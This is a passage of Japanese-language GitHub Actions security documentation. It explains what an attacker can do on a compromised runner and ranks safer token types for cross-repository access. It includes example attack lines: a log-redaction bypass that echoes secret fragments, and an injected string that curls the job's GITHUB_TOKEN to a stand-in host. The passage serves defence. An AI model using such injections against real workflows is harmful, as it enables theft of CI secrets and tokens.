侵害されたランナーの潜在的な影響
以下のセクションでは、攻撃者が GitHub Actions ランナーで悪意のあるコマンドを実行できる場合に実行できるいくつかの手順について説明します。
メモ
GitHub ホステッド ランナーは、侵害されたサード パーティのライブラリなど、ユーザーがジョブの間にダウンロードした悪意のあるコードをスキャンしません。
シークレットにアクセスする
pull_request
イベントを使ってフォークされたリポジトリからトリガーされたワークフローには、シークレットの読み取り専用のアクセス許可があり、アクセス権はありません。 ただし、これらのアクセス許可は、攻撃者がリポジトリのシークレットを盗んだり、ジョブの GITHUB_TOKEN
の書き込みアクセス許可を使用したりするために試みる可能性がある、リポジトリ内のブランチからの issue_comment
、issues
、push
、pull_request
などのさまざまなイベント トリガーの場合は異なります。
-
シークレットまたはトークンが環境変数に設定されている場合は、
printenv
を使って環境を介して直接アクセスできます。 -
シークレットが式の中で直接使われた場合、生成されるシェル スクリプトはディスク上に格納されてアクセスできます。
-
カスタム アクションの場合のリスクは、プログラムが引数から取得したシークレットを使用する方法によって異なる場合があります。
uses: fakeaction/publish@v3 with: key: ${{ secrets.PUBLISH_KEY }}
GitHub Actions は、ワークフロー(または含まれるアクション) で参照されていないシークレットをメモリから除去しますが、攻撃者はその気になれば GITHUB_TOKEN
や参照されているシークレットを取得できます。
ランナーからのデータの流出
攻撃者は、盗まれたシークレットや他のデータをランナーから流出させる可能性があります。 シークレットが誤って漏えいするのを防ぐため、GitHub Actions はログに書き込まれるシークレットを自動的に編集しますが、シークレットを意図的にログに送信できるため、これは真のセキュリティ境界ではありません。 たとえば、難読化されたシークレットは echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};
を使って流出される可能性があります。 さらに、攻撃者は任意のコマンドを実行できるため、HTTP 要求を使ってシークレットや他のリポジトリ データを外部サーバーに送信する可能性があります。
ジョブの GITHUB_TOKEN
を盗む
攻撃者はジョブの GITHUB_TOKEN
を盗む可能性があります。 GitHub Actions ランナーは、ワークフローを含むリポジトリのみに制限されたアクセス許可を指定して生成された GITHUB_TOKEN
を自動的に受け取り、そのトークンの有効期限はジョブが完了すると切れます。 有効期限が切れたトークンは、攻撃者にとって役に立たなくなります。 この制限を回避するため、攻撃者は、トークンを使って攻撃者が制御するサーバーを呼び出すことによって (a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#
など)、攻撃を自動化して一瞬で実行できます。
リポジトリの内容を変更する
攻撃者のサーバーは、GITHUB_TOKEN
に割り当てられたアクセス許可が制限されていなければ、GitHub API を使って、リリースなど、リポジトリの内容を変更することができます。
クロスリポジトリ アクセス
GitHub Actions のスコープは、意図的に一度に単一のリポジトリに設定されています。 書き込みアクセス権を持つユーザーは、ワークフロー ファイルを作成または変更し、必要に応じて GITHUB_TOKEN
のアクセス許可を昇格することによって GITHUB_TOKEN
にアクセスできるため、このトークンは書き込みアクセス権を持つユーザーと同じレベルのアクセスを許可します。 ユーザーはリポジトリごとに特定のアクセス許可を持っているため、1 つのリポジトリの GITHUB_TOKEN
に別のリポジトリへのアクセス権を付与すると、慎重に実装しない場合、GitHub のアクセス許可モデルに影響します。 同様に、GitHub 認証トークンをワークフローに追加する場合は注意が必要です。これは、コラボレータに誤って広範なアクセスを付与することにより、GitHub アクセス許可モデルにも影響を与える可能性があるためです。
組織がエンタープライズ アカウントによって所有されている場合は、それらを内部リポジトリに保存することで、GitHub Actions を共有して再利用できます。 詳しくは、「アクションとワークフローを企業と共有する」をご覧ください。
ワークフロー内のシークレットとして GitHub 認証トークンまたは SSH キーを参照することで、その他の特権のあるリポジトリ間のやり取りを実行できます。 多くの認証トークンタイプでは特定のリソースへの詳細なアクセスが許可されていないことから、意図したものよりはるかに広範なアクセスを許可できるため、間違ったトークンタイプを使用すると重大なリスクが生じます。
次のリストでは、ワークフロー内のリポジトリデータにアクセスするための推奨アプローチを優先度の高い順に説明しています。
GITHUB_TOKEN
- このトークンは、ワークフローを呼び出した単一のリポジトリに意図的にスコープが設定されており、リポジトリの書き込みアクセス ユーザーと同じレベルのアクセス権を持つことができます。 トークンは各ジョブが開始する前に作成され、ジョブが終了すると期限切れになります。 詳しくは、「Use GITHUB_TOKEN for authentication in workflows」をご覧ください。
- 可能な限り、
GITHUB_TOKEN
を使う必要があります。
- リポジトリのデプロイキー
- デプロイキーは、単一のリポジトリへの読み取りまたは書き込みアクセスを権限する唯一の認証情報タイプの 1 つであり、ワークフロー内の別のリポジトリとのやり取りに使用できます。 詳しくは、「デプロイキーの管理」をご覧ください。
- デプロイキーは Git を使用してリポジトリにクローンおよびプッシュできるだけであり、REST または GraphQL API とのやり取りには使用できないため、要件に適さない場合があることに注意してください。
- GitHub App トークン
- GitHub Apps は、選択したリポジトリにインストールでき、リポジトリ内のリソースに対する詳細な権限を持つこともできます。 Organization の内部で GitHub App を作成し、ワークフロー内でアクセスする必要があるリポジトリにインストールして、それらのリポジトリにアクセスするためのワークフロー内のインストールとして認証できます。 詳しくは、「GitHub Actions ワークフローで GitHub App を使用して認証済み API 要求を作成する」をご覧ください。
- personal access token
- personal access token (classic) は使わないでください。 これらのトークンは、ユーザーがアクセスできる Organization 内のすべてのリポジトリ、および個人アカウント内のすべての個人リポジトリへのアクセスを許可します。 これにより、ワークフローが含まれているリポジトリのすべての書き込みアクセスユーザに間接的に広範なアクセス権が付与されます。
- personal access token を使う場合は、自分のアカウントから personal access token を使わないでください。 後で Organization を離れると、このトークンを使用するワークフローはすぐに中断され、この問題のデバッグが困難になる場合があります。 代わりに、organization に属していて、ワークフローに必要な特定のリポジトリへのアクセスのみを許可されている新しいアカウントには、fine-grained personal access token を使う必要があります。 このアプローチはスケーラブルではないため、デプロイキーなどの代替案を優先して避ける必要があります。
- 個人アカウントの SSH キー
- ワークフローでは、個人アカウントの SSH キーを使わないようにする必要があります。 これらは、personal access tokens (classic) と同様に、そのユーザーのすべての個人リポジトリと、Organization のメンバーシップを通じてそのユーザーがアクセスできるすべてのリポジトリに対する、読み取りと書き込みのアクセス許可を付与します。 これにより、ワークフローが含まれているリポジトリのすべての書き込みアクセスユーザに間接的に広範なアクセス権が付与されます。 リポジトリのクローンまたはプッシュのみを実行する必要があり、パブリック API とやり取りする必要がないため、SSH キーを使用する場合は、代わりに個別のデプロイキーを使用する必要があります。
次のステップ
GitHub Actions に関するセキュリティのベスト プラクティスについては、「セキュリティで保護された使用に関するリファレンス」をご覧ください。